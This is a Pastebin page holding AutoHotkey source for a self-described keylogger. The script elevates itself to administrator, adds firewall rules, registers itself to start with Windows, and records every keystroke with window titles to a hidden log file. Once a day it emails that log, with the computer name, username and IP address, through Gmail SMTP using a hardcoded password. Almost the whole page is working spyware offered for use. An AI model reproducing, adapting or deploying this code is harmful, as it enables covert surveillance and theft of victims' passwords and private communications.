Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Name:Keylogger
- Usage: Keyloggs every stroke you make and then sends it to your Gmail account.
- written in Autohotkey
- Date: 2014:08:9
- made by: Flow Snake//Snow Flake
- Email: [email protected]
- */
- If not A_IsAdmin
- {
- Run *RunAs "%A_ScriptFullPath%"
- ExitApp
- }
- #NoEnv
- #Persistent
- ;#NoTrayIcon
- #SingleInstance, force
- SetWorkingDir %A_ScriptDir%
- RunWait, cmd /c netsh advfirewall firewall add rule name="Autologger" dir=in action=allow program="%A_ScriptFullPath%" enable=yes ; Allouse Autologger to not be disrupted by the Firewall
- RunWait, cmd /c netsh advfirewall firewall add rule name="Autologger" dir=in action=allow protocol=TCP localport=465 ; Opens Port 465 in the Firewall.
- RegWrite, REG_SZ, HKEY_LOCAL_MACHINE, SOFTWARE\Microsoft\Windows\CurrentVersion\Run, Autologger, "%A_ScriptFullPath%" ; Autostart enable
- Loop {
- Input, k , V T5
- FormatTime, t ,, MM-dd-yyyy hh:mm:ss tt
- WinGetActiveTitle , pt
- pttk = `n`n`n****************`n%pt%`n%t%`n`n%k%
- k:=pt!=pt2 ? pttk :k
- FileAppend, %k% ,C:\Auto.log
- FileSetAttrib, +H, C:\Auto.log
- pt2 := pt
- if A_Hour = 8
- {
- if A_min = 30
- ; IF time is 15:30 then Send the logg to the users Email.
- ;//call Email Function
- email()
- }
- }
- ExitSub:
- if (hHook)
- DllCall("UnhookWindowsHookEx", Ptr, hHook)
- if (hMod)
- DllCall("FreeLibrary", Ptr, hMod)
- ExitApp
- ;//Functions
- Email()
- {
- pmsg := ComObjCreate("CDO.Message")
- pmsg.BCC := "" ; Blind Carbon Copy, Invisable for all, same syntax as CC
- pmsg.CC := ""
- pmsg.Subject := "Autologger Information" A_MM A_DD A_Hour
- pmsg.TextBody := "PC Name: " A_ComputerName "`nOS: " A_OSVersion "`nUsername: " A_Username "`nIP: " A_IPAddress1 "`nAutologger Made By: Snow_Flake ©"
- SPVvar := "C:/Auto.log"
- sAttach = %SPVvar%
- ; can add multiple attachments, the delimiter is |
- fields := Object()
- fields.smtpserver := "smtp.gmail.com" ; specify your SMTP server
- fields.smtpserverport := 465 ; 25
- fields.smtpusessl := True ; False
- fields.sendusing := 2 ; cdoSendUsingPort
- fields.smtpauthenticate := 1 ; cdoBasic
- fields.sendpassword := "redman22" ; Password
- fields.smtpconnectiontimeout := 60
- schema := "http://schemas.microsoft.com/cdo/configuration/"
- pfld := pmsg.Configuration.Fields
- For field,value in fields
- pfld.Item(schema . field) := value
- pfld.Update()
- Loop, Parse, sAttach, |, %A_Space%%A_Tab%
- pmsg.AddAttachment(A_LoopField)
- pmsg.Send()
- sleep, 300
- FileDelete, Auto.log
- }
Advertisement
Add Comment
Please, Sign In to add comment